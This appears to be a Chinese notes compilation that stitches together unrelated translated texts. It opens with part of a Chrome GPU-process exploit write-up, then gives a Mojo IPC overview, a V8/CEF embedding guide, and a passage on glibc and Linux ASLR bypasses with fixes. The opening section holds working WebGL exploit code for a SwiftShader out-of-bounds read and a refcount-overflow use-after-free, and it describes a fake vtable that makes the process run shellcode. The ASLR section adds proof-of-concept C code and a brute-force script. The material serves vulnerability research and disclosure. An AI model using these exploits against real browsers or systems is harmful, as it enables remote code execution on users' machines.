function issue_1584(gl) { const src_width = 0x2000; const src_height = 0x16c4; // we use a texture for the source, since this will be allocated directly // when we call glTexImage2D. this.src_fb = gl.createFramebuffer(); gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb); let src_data = new Uint8Array(src_width * src_height * 4); for (var i = 0; i < src_data.length; ++i) { src_data[i] = 0x41; } let src_tex = gl.createTexture(); gl.bindTexture(gl.TEXTURE_2D, src_tex); 【1】 gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA8, src_width, src_height, 0, gl.RGBA, gl.UNSIGNED_BYTE, src_data); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.NEAREST); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.NEAREST); gl.framebufferTexture2D(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, src_tex, 0); this.read = function() { gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.src_fb); const dst_width = 0x2000; const dst_height = 0x1fc4; dst_fb = gl.createFramebuffer(); gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb); let dst_rb = gl.createRenderbuffer(); gl.bindRenderbuffer(gl.RENDERBUFFER, dst_rb); gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA8, dst_width, dst_height); gl.framebufferRenderbuffer(gl.DRAW_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, dst_rb); gl.bindFramebuffer(gl.DRAW_FRAMEBUFFER, dst_fb); // trigger 【2】 gl.blitFramebuffer(0, 0, src_width, src_height, 0, 0, dst_width, dst_height, gl.COLOR_BUFFER_BIT, gl.NEAREST); // copy the out of bounds data back to javascript var leak_data = new Uint8Array(dst_width * 8); gl.bindFramebuffer(gl.READ_FRAMEBUFFER, dst_fb); gl.readPixels(0, dst_height - 1, dst_width, 1, gl.RGBA, gl.UNSIGNED_BYTE, leak_data); return leak_data.buffer; } return this; }
这看起来可能是一个非常粗糙的泄漏原语,但由于SWIFTShader使用的是系统堆,因此很容易安排直接在此分配之后的内存可以安全地访问。
还有第二个错误
现在,我们拥有的下一个漏洞是一个由引用计数溢出引起的 egl::ImageImplementation 对象的UAF 漏洞。
从利用的角度来看,这个对象是一个非常好的对象,因为从javascript中我们可以从它存储的数据中读写,所以似乎最好的利用方法是用一个损坏的版本替换这个对象;但是,由于它是一个c++对象,我们需要在GPU进程中打破ASLR来实现这一点。
如果您阅读的是利用漏洞攻击代码,则feng_shader.html中的函数leak_image实现了egl::ImageImplementation对象的粗略喷射,并使用上面的信息泄漏来查找要复制的对象。
所以——盘点一下:
我们刚刚释放了一个对象,并且我们确切地知道应该在该对象中的数据是什么样子的。
这看起来很简单——现在我们只需要找到一个允许我们替换它的原语就可以了!这实际上是该漏洞中最令人沮丧的部分。
由于OpenGL命令从WebGL传递到GPU进程时会发生多个级别的验证/复制(初始WebGL验证(在渲染器中)、GPU命令缓冲区接口、ANGLE验证),因此使用受控制的数据获得控制大小的单个分配是非常重要的!
我们期望有用的大多数分配数据(图像/纹理数据等)到最后有很多的大小限制或被四舍五入到不同的大小。
但是,有一个很好的原语做这个——shader uniforms。
这就是将参数传递给可编程GPU着色器的方式;如果我们查看SwiftShader代码,我们可以看到(最终)在分配这些参数时,它们将直接调用operator new[]。
我们可以从uniform存储的数据中读取和写入数据,因此这将为我们提供所需的原语。
下面的代码实现了SwiftShader/GPU进程中(非常基本的)堆修饰的这一技术,以及用于溢出引用计数的优化方法。
当链接程序对象时,Shader源代码(第一个标记的部分)将产生4次大小为0xf0的分配,第二个标记部分是原始对象将被释放并替换为Shader uniform对象的位置。
function issue_1585(gl, fake) { let vertex_shader = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vertex_shader, ` 【1】 attribute vec4 position; 【1】 uniform int block0[60]; 【1】 uniform int block1[60]; 【1】 uniform int block2[60]; 【1】 uniform int block3[60]; 【1】 void main() { 【1】 gl_Position = position; 【1】 gl_Position.x += float(block0[0]); 【1】 gl_Position.x += float(block1[0]); 【1】 gl_Position.x += float(block2[0]); 【1】 gl_Position.x += float(block3[0]); 【1】 }`); gl.compileShader(vertex_shader); let fragment_shader = gl.createShader(gl.FRAGMENT_SHADER); gl.shaderSource(fragment_shader, ` void main() { gl_FragColor = vec4(0.0, 0.0, 0.0, 0.0); }`); gl.compileShader(fragment_shader); this.program = gl.createProgram(); gl.attachShader(this.program, vertex_shader); gl.attachShader(this.program, fragment_shader); const uaf_width = 8190; const uaf_height = 8190; this.fb = gl.createFramebuffer(); uaf_rb = gl.createRenderbuffer(); gl.bindFramebuffer(gl.READ_FRAMEBUFFER, this.fb); gl.bindRenderbuffer(gl.RENDERBUFFER, uaf_rb); gl.renderbufferStorage(gl.RENDERBUFFER, gl.RGBA32UI, uaf_width, uaf_height); gl.framebufferRenderbuffer(gl.READ_FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.RENDERBUFFER, uaf_rb); let tex = gl.createTexture(); gl.bindTexture(gl.TEXTURE_CUBE_MAP, tex); // trigger for (i = 2; i < 0x10; ++i) { gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0); } function unroll(gl) { gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0); // snip ... gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, uaf_width, uaf_height, 0); } for (i = 0x10; i < 0x100000000; i += 0x10) { unroll(gl); } 【2】 // the egl::ImageImplementation for the rendertarget of uaf_rb is now 0, so 【2】 // this call will free it, leaving a dangling reference 【2】 gl.copyTexImage2D(gl.TEXTURE_CUBE_MAP_POSITIVE_X, 0, gl.RGBA32UI, 0, 0, 256, 256, 0); 【2】 // replace the allocation with our shader uniform. 【2】 gl.linkProgram(this.program); 【2】 gl.useProgram(this.program); function wait(ms) { var start = Date.now(), now = start; while (now - start < ms) { now = Date.now(); } } function read(uaf, index) { wait(200); var read_data = new Int32Array(60); for (var i = 0; i < 60; ++i) { read_data[i] = gl.getUniform(uaf.program, gl.getUniformLocation(uaf.program, 'block' + index.toString() + '[' + i.toString() + ']')); } return read_data.buffer; } function write(uaf, index, buffer) { gl.uniform1iv(gl.getUniformLocation(uaf.program, 'block' + index.toString()), new Int32Array(buffer)); wait(200); } this.read = function() { return read(this, this.index); } this.write = function(buffer) { return write(this, this.index, buffer); } for (var i = 0; i < 4; ++i) { write(this, i, fake.buffer); } gl.readPixels(0, 0, 2, 2, gl.RGBA_INTEGER, gl.UNSIGNED_INT, new Uint32Array(2 * 2 * 16)); for (var i = 0; i < 4; ++i) { data = new DataView(read(this, i)); for (var j = 0; j < 0xf0; ++j) { if (fake.getUint8(j) != data.getUint8(j)) { log('uaf block index is ' + i.toString()); this.index = i; return this; } } } }
此时,我们可以修改对象,使我们能够从GPU进程的所有内存中进行读写;有关如何使用gl.readPixels和gl.blitFrameBuffer方法,请参见read_write函数。
现在,从这一点开始执行任意代码应该是相当简单的,尽管当您必须替换c++对象时,让您的ROP链很好地排列起来通常是一件痛苦的事情,但这是一个非常容易处理的问题。还有另一个诀窍可以使这种利用变得更加优雅。
SwiftShader 使用Shader 的JIT编译以获得尽可能高的性能,而JIT编译器使用另一个c++对象来处理加载生成的ELF可执行文件并将其映射到内存中。也许我们可以创建一个假对象,将egl::ImageImplementation对象用作SubzeroReactor::ELFMemoryStreamer (https://cs.chromium.org/chromium/src/third_party/swiftshader/src/Reactor/SubzeroReactor.cpp?rcl=fe79649598fb9bdf6d4567d58704e3a255dd5bb6&l=439) 对象,并让GPU进程为我们加载ELF文件作为负载,而不是自己摆弄?
所以,我们可以通过创建一个假的vtable,像这样:
egl::ImageImplementation::lockInternal -> egl::ImageImplementation::lockInternal
egl::ImageImplementation::unlockInternal -> ELFMemoryStreamer::getEntry
egl::ImageImplementation::release -> shellcode
然后,当我们从这个图像对象读取时,我们将在GPU进程中执行我们的shellcode,而不是将像素返回给javascript。
结论
有趣的是,我们可以在现代浏览器代码库的一些不太可能的地方直接发现javascript可访问的攻击面,当我们从侧面看事情时——避免了可能更明显和更有争议的领域,如主要的javascript JIT引擎。
许多代码库有很长的开发历史,在不同版本之间的兼容性和一致性方面也有许多权衡。有必要回顾一下其中的一些特性,看看在发布这些特性之后,最初的期望是否仍然有效,以及它们今天是否仍然有效,或者这些特性是否真的可以在不对用户产生重大影响的情况下被删除。
Chromium doc: Mojo
https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md
机器翻译+人工简单润色。
从Mojo开始
要在已经支持Mojo的应用程序(如Chrome)中开始使用Mojo,最快的方法是查看您选择的语言(C++[1]、JavaScript[2]或Java[3])的绑定文档,以及MojomIDL和绑定生成器的文档[4]。
如果您正在查找有关创建和/或连接到服务的信息,请参阅顶级服务文档 [5]。
有关将旧的东西转换成新的东西的具体细节,请查看将传统ChromeIPC转换为Mojo的过程 [6]。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#C_Bindings
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#JavaScript-Bindings
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/README.md#Java-Bindings
[4] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[5] https://chromium.googlesource.com/chromium/src/+/master/services/README.md
[6] https://chromium.googlesource.com/chromium/src/+/master/ipc/README.md
系统概述
Mojo是运行时库的集合,提供了公共IPC原语的平台无关抽象、消息IDL格式和绑定库,其中包含针对多种目标语言的代码生成,以方便消息跨越任意进程间和进程内边界。
这里的文档是根据包含Mojo的不同库进行分割的。特征的基本层次如下:
(IMG)
Mojo库分层:底层为核心,顶部为语言绑定,中间为公共系统支持API
Mojo内核
为了使用任何更有趣的高级支持库,如系统API或绑定API,进程必须首先初始化Mojo Core。
进行一次初始化之后,在进程生命周期的剩余时间内一直处于活动状态。
初始化MojoCore有两种方法:通过EmbedderAPI,或者通过动态链接库。
嵌入
许多通过Mojo互连的进程都是嵌入程序,这意味着它们静态地链接到/mojo/core/Embedder目标,并通过调用mojo::core::init()来初始化每个进程中的Mojo支持。
有关更多细节,请参见Mojo CoreEmbedderAPI [1]。
这是一个合理的选择,因为您可以保证所有相互连接的进程二进制文件都链接到完全相同的MojoCore修订版上。
若要支持其他方案,请使用动态链接。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/core/embedder/README.md
动态链接
在某些平台上,应用程序还可以依赖动态链接的Mojo Core库(libmojo_core.so或mojo_core.dll),而不是静态链接Mojo Core。
为了利用这一机制,相应的库必须存在于以下文件中:
* 应用程序的工作目录。
* 由mojo_core_Library_path环境变量命名的目录。
* 应用程序在运行时显式命名的目录。
使用动态Mojo Core的应用程序不像嵌入式程序那样调用mojo::core::init(),而是从C系统API调用MojoInitiize()。
此调用将尝试定位(参见上文)并加载一个MojoCore库,以支持进程中后续的MojoAPI使用。
请注意,Mojo Core共享库提供了一个稳定的、向前兼容的C ABI,它可以支持更高级别、公共(而非二进制稳定)系统和绑定API的所有当前和未来版本。
C++
C++ System API [1]提供了一层C+帮助器类和函数,使安全系统API的使用更容易:强类型句柄作用域、同步等待操作、系统句柄包装和展开帮助程序、公共句柄操作,以及更容易监视句柄状态更改的实用程序。
JavaScript
JavaScript System API [2]将Mojo原语公开给JavaScript,涵盖了低级CAPI的所有基本功能。
Java
Java System API [3]提供了用于处理Mojo原语的助手类,涵盖了低级CAPI的所有基本功能。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/cpp/system/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/third_party/blink/renderer/core/mojo/README.md
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/java/system/README.md
高级绑定api
通常,开发人员不直接使用原始消息管道I/O,而是定义一些接口集,这些接口用于生成类似于所选择的目标语言的惯用方法调用接口的代码。这是绑定层。
Mojom IDL和绑定生成器
接口是使用MojomIDL [1]定义的,可以将其提供给绑定生成器[2],以生成各种受支持的语言中的代码。
生成的代码管理接口客户端和实现之间消息的序列化和反序列化,简化代码-并最终将消息管道隐藏在接口连接的两侧。
C++绑定
到目前为止,由Mojo定义的最常用的API,C++绑定API [3]公开了一组健壮的特性,用于通过生成的C+绑定代码与消息管道交互,包括对相关绑定端点集、关联接口、嵌套同步IPC、版本控制、坏消息报告、任意消息筛选器注入和方便的测试工具的支持。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/tools/bindings/README.md
[3] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/cpp/bindings/README.md
JavaScript绑定。
JavaScript binding API [1]提供了帮助器类,用于处理由绑定生成器发出的JavaScript代码。
Java绑定。
Java Bindings API [2]提供了帮助器类,用于处理由绑定生成器发出的Java代码。
[1] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/js/README.md
[2] https://chromium.googlesource.com/chromium/src/+/master/mojo/public/java/bindings/README.md
常见问题。
为什么不是protobuf或者其他的?
对于这个问题,可能有很多不错的答案,但最重要的是,一个有用的IPC机制必须支持跨越进程边界的本地对象句柄(例如,文件描述符)的传输。
其他支持此功能的非新IPC(例如d-bus)也有其自身的重大缺陷。
信息管道运行时代价很高吗?
不。作为实现细节,创建消息管道实质上是生成两个随机数,并将它们填充到一个哈希表中,以及一些很小的堆分配。
所以说真的,我能创造出成千上万个这样的东西吗?
是。没人会介意的。创造数以百万计的人,如果你愿意的话。(好吧,但也许不需要。)。
Mojo的性能特点是什么?
与Chrome中的旧IPC相比,进行Mojo调用大约要快1/3,使用的上下文切换也少1/3。完整的数据可在这里获得。 (https://docs.google.com/document/d/1n7qYjQ5iy8xAkQVMYGqjIy_AXu2_JJtMoAcOOupO_jQ/edit)
我可以使用进程内消息管道吗?
是的,而且消息管道的使用是相同的,不管管道是否真的跨越了进程边界-事实上,这个细节是有意模糊的。
不跨越进程边界的消息管道是高效的:发送的消息永远不会被复制,一端的写操作将同步地修改另一端的消息队列。
例如,当使用生成的C++绑定时,最终的结果是一个线程上的InterfacePtr向另一个线程上的绑定(甚至同一个线程)发送消息,实际上是一个PostTask到绑定的TaskRunner,同时增加了序列化、反序列化、验证和一些内部路由逻辑的开销(但通常很小)。
V8 wiki
描述
V8是Google的开源JavaScript引擎。
V8是用C++编写的,在谷歌的开源浏览器Google Chrome中使用。
V8实现ECMA-262第5版中指定的ECMASScript,并运行在Windows(XP或更新版本)、Mac OS X(10.5或更新版本)和使用IA-32、x64或ARM处理器的Linux系统上。
编译:https://www.aldeid.com/wiki/V8
————————-
在其他工程中使用V8:https://bitbucket.org/chromiumembedded/cef/wiki/JavaScriptIntegration
(下为机器翻译+简单人工润色)
导言
Chrome和CEF使用V8 JavaScript引擎实现内部JavaScript(JS)。浏览器中的每个框架都有自己的JS上下文,为在该框架中执行的JS代码提供范围和安全性(有关更多信息,请参见“使用上下文”一节)。CEF为客户端应用程序中的集成提供了大量的JS特性。
对于CEF 3,Blink(WebKit)和JS执行在单独的呈现程序进程中运行。呈现程序进程中的主线程被标识为TID_renderer,所有V8执行都必须在该线程上执行。与JS执行相关的回调通过CefRenderProcessHandler接口公开。当初始化新的呈现程序进程时,通过CefApp::GetRenderProcessHandler()检索该接口。
应该使用异步回调来设计在浏览器和呈现程序进程之间进行通信的JSAPI。有关更多信息,请参见GeneralUsagewiki页面的“异步JavaScript绑定”部分。
执行JavaScript
从客户机应用程序执行JS的最简单方法是使用CefFrame::ExecuteJavaScript()函数。
该函数在浏览器进程和render程序进程中都可用,并且可以在JS上下文之外安全地使用。
CefRefPtr<CefBrowser> browser = ...; CefRefPtr<CefFrame> frame = browser->GetMainFrame(); frame->ExecuteJavaScript("alert('ExecuteJavaScript works!');", frame->GetURL(), 0);
上面的示例将执行alert(‘ExecuteJavaScriptWorks!’);在浏览器的主框架中执行。
可以使用ExecuteJavaScript()函数与框架的JS上下文中的函数和变量进行交互。
为了将值从JS返回到客户机应用程序,请考虑使用窗口绑定或扩展。
窗口绑定。
窗口绑定允许客户端应用程序将值附加到框架的窗口对象。
窗口绑定使用CefRenderProcessHandler::OnContextCreated()方法实现。
void MyRenderProcessHandler::OnContextCreated( CefRefPtr<CefBrowser> browser, CefRefPtr<CefFrame> frame, CefRefPtr<CefV8Context> context) { // Retrieve the context's window object. CefRefPtr<CefV8Value> object = context->GetGlobal(); // Create a new V8 string value. See the "Basic JS Types" section below. CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!"); // Add the string to the window object as "window.myval". See the "JS Objects" section below. object->SetValue("myval", str, V8_PROPERTY_ATTRIBUTE_NONE); }
然后,框架中的JavaScript可以与窗口绑定交互。
<script language="JavaScript"> alert(window.myval); // Shows an alert box with "My Value!" </script>
每次重新加载框架时,都会重新加载窗口绑定,从而使客户端应用程序有机会在必要时更改绑定。
例如,可以通过修改绑定到该帧的窗口对象的值,让不同的帧访问客户端应用程序中的不同功能。
扩展
扩展类似于窗口绑定,只是它们被加载到每个帧的上下文中,并且一旦加载就不能修改。
当加载扩展时,DOM不存在,并且在扩展加载期间试图访问DOM将导致崩溃。
扩展是使用应当从CefRenderProcessHandler::OnWebKitInitialized()方法调用的CefRegisterExtension()函数注册的。
void MyRenderProcessHandler::OnWebKitInitialized() { // Define the extension contents. std::string extensionCode = "var test;" "if (!test)" " test = {};" "(function() {" " test.myval = 'My Value!';" "})();"; // Register the extension. CefRegisterExtension("v8/test", extensionCode, NULL); }
ExtensionCode表示的字符串可以是任何有效的JS代码。
然后,框架中的JS可以与扩展代码交互。
<script language="JavaScript"> alert(test.myval); // Shows an alert box with "My Value!" </script>
基本JS类型。
CEF支持创建基本的JS数据类型,包括未定义的、NULL、bool、int、Double、Date和String。
这些类型是使用CefV8Value::Create*()静态方法创建的。
例如,要创建一个新的JS字符串值,可以使用CreateString()方法。
CefRefPtr<CefV8Value> str = CefV8Value::CreateString("My Value!");
基本值类型可以随时创建,并且最初不与特定上下文关联(有关更多信息,请参见“使用上下文”一节)。
要测试值类型,请使用is*()方法。
CefRefPtr<CefV8Value> val = ...; if (val.IsString()) { // The value is a string. }
要检索该值,请使用get*value()方法。
CefString strVal = val.GetStringValue();
New bypass and protection techniques for ASLR on Linux (2)
机器翻译加简单人工润色,翻译自:http://www.openwall.com/lists/oss-security/2018/02/27/5
相关讨论:https://lkml.org/lkml/2018/3/22/484
==========================================
II.8. 已分配内存缓存。
==========================================
glibc有许多不同的缓存,其中两个缓存在ASLR的上下文中很有趣:新创建线程的栈的缓存和栈。栈缓存的工作方式如下:在线程终止时,不会释放栈内存,而是将其传输到相应的缓存中。创建线程栈时,glibc首先检查缓存。如果缓存包含所需的内容,glibc使用该区域。在这种情况下,mmap将不会被访问,新线程将使用具有相同地址的以前使用的区域。如果攻击者成功地获得了线程堆栈地址,并且能够控制程序线程的创建和删除,则入侵者可以利用该地址的知识进行漏洞攻击。此外,如果应用程序包含未初始化的变量,它们的值也可能受攻击者的控制,这在某些情况下可能会导致攻击。
堆缓存的工作方式如下:在线程终止时,其堆移动到相应的缓存。当为新线程再次创建堆时,首先检查缓存。如果缓存具有可用区域,则将使用此区域。在本例中,上一段中有关堆栈的所有内容在这里也适用。
Here is PoC:
void * func(void *x)
{
long a[1024];
printf(”addr: %pn”, &a[0]);
if (x)
printf(”value %lxn”, a[0]);
else
{
a[0] = 0xdeadbeef;
printf(”value %lxn”, a[0]);
}
void * addr = malloc(32);
printf(”malloced %pn”, addr);
free(addr);
return 0;
}
int main(int argc, char **argv, char **envp)
{
int val;
pthread_t thread;
printf(”thread1n”);
pthread_create(&thread, NULL, func, 0);
pthread_join(thread, &val);
printf(”thread2n”);
pthread_create(&thread, NULL, func, 1);
pthread_join(thread, &val);
return 0;
}
blackzert@…sher:~/aslur/tests$ ./pthread_cache
thread1
addr: 0×7fd035e04f40
value deadbeef
malloced (b) 0×7fd030000cd0
thread2
addr: 0×7fd035e04f40
value deadbeef
malloced 0×7fd030000cd0
可以清楚地看到,连续创建的线程堆栈中局部变量的地址保持不变。同样,通过malloc为它们分配的变量的地址也是一样的;第二个线程仍然可以访问第一个线程的本地变量的一些值。攻击者可以利用此漏洞攻击未初始化变量的漏洞[18]。尽管缓存加快了应用程序的速度,但它也使攻击者能够绕过ASLR并执行攻击。
==========================================
II.9.线程缓存对齐。
==========================================
现在让我们创建一个线程,使用malloc分配一些内存,并计算与这个线程中的局部变量的差值。源代码:
void * first(void *x)
{
int a = (int)x;
int *p_a = &a;
void *ptr;
ptr = malloc(8);
printf(”%lxn%p, %pn”, (unsigned long long)ptr - (unsigned long long)p_a,
ptr, p_a);
return 0;
}
int main()
{
pthread_t one;
pthread_create(&one, NULL, &first, 0);
void *val;
pthread_join(one,&val);
return 0;
}
The first launch:
blackzert@…sher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff844e98c
0×7f20480008c0, 0×7f204fbb1f34
And the second launch:
blackzert@…sher:~/aslur/tests$ ./thread_stack_small_heap
fffffffff94a598c
0×7fa3140008c0, 0×7fa31ab5af34
在这种情况下,差别是不一样的。每次执行它也不会保持不变。让我们考虑一下原因。
首先要注意的是:malloc派生的指针地址与进程堆地址不对应。
glibc为使用pthread_create创建的每个新线程创建一个新堆。指向此堆的指针位于TLS中,因此任何线程都会从自己的堆中分配内存,这会提高性能,因为在并发使用malloc时不需要同步线程。但为什么地址是“随机的”呢?
分配新堆时,glibc使用mmap;大小取决于配置。在这种情况下,堆大小是64 MB。堆起始地址必须与64 MB对齐。因此,系统首先分配128 MB,然后在此范围内对齐64 MB的块,同时释放未对齐的块,并在堆地址和先前分配mmap的最近区域之间创建一个“hole”。
当选择mmap_based时,内核本身带来了随机性:这个地址没有与64 MB对齐,在调用有关malloc之前的mmap内存分配也是如此。
不管为什么需要地址对齐,这都会导致一个非常有趣的效果:可以暴力破解。
Linux内核将x86-64的进程地址空间定义为“48 bit - 1 protect page”,为了简单起见,我们将其舍入到2^48(在计算大小时省略减1页)。64 MB是2^26,所以有效位等于48-26=22,总共给我们提供了2^22个不同的次线程堆。
这大大缩小了强制范围。
因为mmap地址是以一种已知的方式选择的,所以我们可以假定,使用pthread_create创建的第一个线程的堆将被选择为64 MB,接近上地址范围。更准确地说,它将接近所有加载的库、加载的文件等等。
在某些情况下,可以计算在调用有关malloc之前分配的内存量。在本例中,我们只加载了glibc和ld,并为线程创建了一个栈。所以这个值很小。
mmap_base是根据编译时的内核设置(默认为28位)选择的,熵为28到32位。所以一些上边界被相同的数量所抵消。
因此,在许多情况下,地址的上8位将等于0×7f,而在少数情况下,它们将是0×7e。这给了我们另外8 bit的确定性。为第一个线程选择堆总共有2^14种可能的选项。
创建的线程越多,用于下一个堆选择的值就越少。
让我们用以下C代码演示此行为:
void * first(void *x) { int a = (int)x; void *ptr; ptr = malloc(8); printf("%pn", ptr ); return 0; } int main() { pthread_t one; pthread_create(&one, NULL, &first, 0); void *val; pthread_join(one,&val); return 0; }
然后,让我们用Python代码启动足够多的程序来收集地址统计信息:
import subprocess d = {} def dump(iteration, hysto): print 'Iteration %d len %d'%(iteration, len(hysto)) for key in sorted(hysto): print hex(key), hysto[key] i = 0 while i < 1000000: out = subprocess.check_output(['./t']) addr = int(out, 16) #omit page size addr >>= 12 if addr in d: d[addr] += 1 else: d[addr] = 1 i += 1 dump(i,d)
此代码启动简单的“./t”程序,该程序创建一个新线程足够多次。
代码借助malloc分配缓冲区并显示缓冲区地址。一旦程序完成此操作,将读取地址并计算在程序操作期间遇到地址的次数。该脚本总共收集了16,385个不同的地址,等于2^14+1。在最坏的情况下,这是攻击者可以尝试猜测所述程序的堆地址的次数。
=========================================
iii. 解决方案
=========================================
在本文中,我们回顾了几个问题-其中一些涉及到Linux内核,一些涉及到GNU Libc;现在我们可以考虑对Linux内核进行修复。
您可以通过以下链接跟踪GNU Libc问题:
- Stack protector easy to bypass
https://sourceware.org/bugzilla/show_bug.cgi?id=22850
- ld library ELF load error
https://sourceware.org/bugzilla/show_bug.cgi?id=22851
- Thread stack and heap caches
https://sourceware.org/bugzilla/show_bug.cgi?id=22852
- Heap address of pthread_create thread is aligned
https://sourceware.org/bugzilla/show_bug.cgi?id=22853
=========================================
iii.1 holes
=========================================
如第II.4节所示,Linux内核中的ELF解释器加载程序包含一个错误,并允许释放部分解释器库内存。
社区提出了一项相关的解决办法,但没有采取行动:
https://lkml.org/lkml/2017/7/14/290
=========================================
III.2加载ELF文件段的顺序。
=========================================
如上所述,在内核和glibc库的代码中,没有检查文件ELF段:代码只是相信它们的顺序是正确的。随函附上概念证明代码和修复程序:
https://github.com/blackzert/aslur
修复非常简单:我们遍历各个段并确保当前段不与下一个段重叠,并且这些段按vaddr的升序排序。
https://lkml.org/lkml/2018/2/26/571
=========================================
iii.3在搜索mmap分配地址时使用mmap_min_addr。
=========================================
一旦为mmap编写了修复程序,为了以足够的熵返回地址,就会出现一个问题:一些mmap调用失败,导致访问权限错误。在执行execve时,即使是作为根用户或内核请求时也会发生这种情况。
在地址选择算法(前面介绍)中,列出的选项之一是检查地址是否有安全限制。在当前实现中,此检查验证所选地址是否大于mmap_min_addr。这是一个系统变量,管理员可以通过sysctl对其进行更改。系统管理员可以设置任何值,并且。
进程不能以小于此值的地址分配页。默认值是65536。
问题是,当在x86-64上调用mmap的地址函数时,Linux内核使用4096作为最小下限的值,这个值小于mmap_min_addr的值。如果所选地址介于4096和mmap_min_addr之间,函数capmmap_addr禁止此操作。
capmmap_addr被隐式调用;这个函数被注册为一个用于安全检查的钩子。这种体系结构解决方案提出了一些问题:首先,我们在没有能力用外部标准测试地址的情况下选择地址,然后根据当前的系统参数检查它的允许性。如果该地址没有通过检查,那么即使该地址是由内核选择的,也会被“禁止”,整个操作将以EPERM错误结束。
攻击者可以利用此问题在整个系统中造成拒绝服务:
如果攻击者能够指定一个非常大的值,系统就无法启动任何用户进程。此外,如果攻击者设法将该值存储在系统参数中,则即使重新引导也不会有任何帮助-所有创建的进程都将因EPERM错误而终止。
目前,修复方法是在向地址搜索函数发出请求时使用mmap_min_addr值作为允许的最低地址。这样的代码已经用于所有其他体系结构。
如果系统管理员开始在运行中的计算机上更改此值,会发生什么情况?这个问题仍然没有得到回答,因为更改之后的所有新分配都可能以EPERM错误结束;没有程序代码希望出现这样的错误,也不知道如何处理它。mmap文档说明如下:
“EPERM的处理函数阻止了这项操作;见fcntl(2)。”
也就是说,内核不能将EPERM返回到MAP_ANONYMOUS,尽管事实上并非如此。
https://lkml.org/lkml/2018/2/26/1053
=========================================
iii.4 mmap
=========================================
这里讨论的主要mmap问题是地址选择中缺少熵。
理想情况下,逻辑上的解决办法是随机选择内存。要随机选择它,必须首先建立一个具有适当大小的所有自由区域的列表,然后从该列表中选择满足搜索标准(请求区域的长度和允许的上下边界)的随机区域和该区域的地址。
为了实现这一逻辑,可以采用以下方法:
1.将空隙列表保存在降序数组中。在这种情况下,随机元素的选择是在单个操作中进行的,但是维护这个数组需要很多操作,以便在进程的当前虚拟地址空间映射发生变化时释放(分配)内存。
2.将空隙列表保存在树和列表中,以便找到满足长度要求的外部边界,并从数组中选择一个随机元素。如果该元素不符合最小/最大地址限制,则选择下一个,依此类推,直到找到一个(或不保留)。这种方法涉及复杂的列表和树结构,类似于VMA在地址空间更改方面已经存在的结构。
3.使用增广红黑VMA树的现有结构来绕过允许的空隙列表,并选择一个随机地址。在最坏的情况下,每个选择都必须绕过所有的峰值,但是重建树不会导致性能的任何额外的下降。
我们的选择走到了最后一条路。我们可以使用现有的VMA。
不添加冗余的组织结构,并使用以下算法选择地址:
1.使用现有算法查找具有最大有效地址的可能空白。同时,记录下VMA的结构。如果没有这样的结构,返回ENOMEM。
2.将发现的间隙记录为结果,将VMA记录为最大上边界。
3.从双链接列表中获取第一个VMA结构。它将是红-黑树上的一片叶子,因为它有最小的地址.。
4.从选定的VMA中对树进行左遍历,检查有关VMA与其前身之间的空闲区域的允许性。如果自由区域被限制所允许,则获得另一位熵。如果熵位为1,则重新定义空隙的当前值。
5.从选定的间隙空区返回随机地址。
优化算法的第四步的一种方法是不进入间隙扩展大小小于所需长度的子树。
此算法选择一个具有足够熵的地址,尽管它比当前的实现要慢。
至于明显的缺点,有必要绕过所有具有足够空隙长度的VMA结构。但是,在更改地址空间时,不会出现任何性能下降,从而抵消了这一点。
下面是修补程序之后的`less /proc/self/maps‘的输出:
314a2d0da000-314a2d101000 r-xp /lib/x86_64-linux-gnu/ld-2.26.so
314a2d301000-314a2d302000 r–p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d302000-314a2d303000 rw-p /lib/x86_64-linux-gnu/ld-2.26.so
314a2d303000-314a2d304000 rw-p
3169afcd8000-3169afcdb000 rw-p
316a94aa1000-316a94ac6000 r-xp /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94ac6000-316a94cc5000 —p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc5000-316a94cc9000 r–p /lib/x86_64-linux-gnu/libtinfo.so.5.9
316a94cc9000-316a94cca000 rw-p /lib/x86_64-linux-gnu/libtinfo.so.5.9
3204e362d000-3204e3630000 rw-p
4477fff2c000-447800102000 r-xp /lib/x86_64-linux-gnu/libc-2.26.so
447800102000-447800302000 —p /lib/x86_64-linux-gnu/libc-2.26.so
447800302000-447800306000 r–p /lib/x86_64-linux-gnu/libc-2.26.so
447800306000-447800308000 rw-p /lib/x86_64-linux-gnu/libc-2.26.so
447800308000-44780030c000 rw-p
509000396000-509000d60000 r–p /usr/lib/locale/locale-archive
56011c1b1000-56011c1d7000 r-xp /bin/less
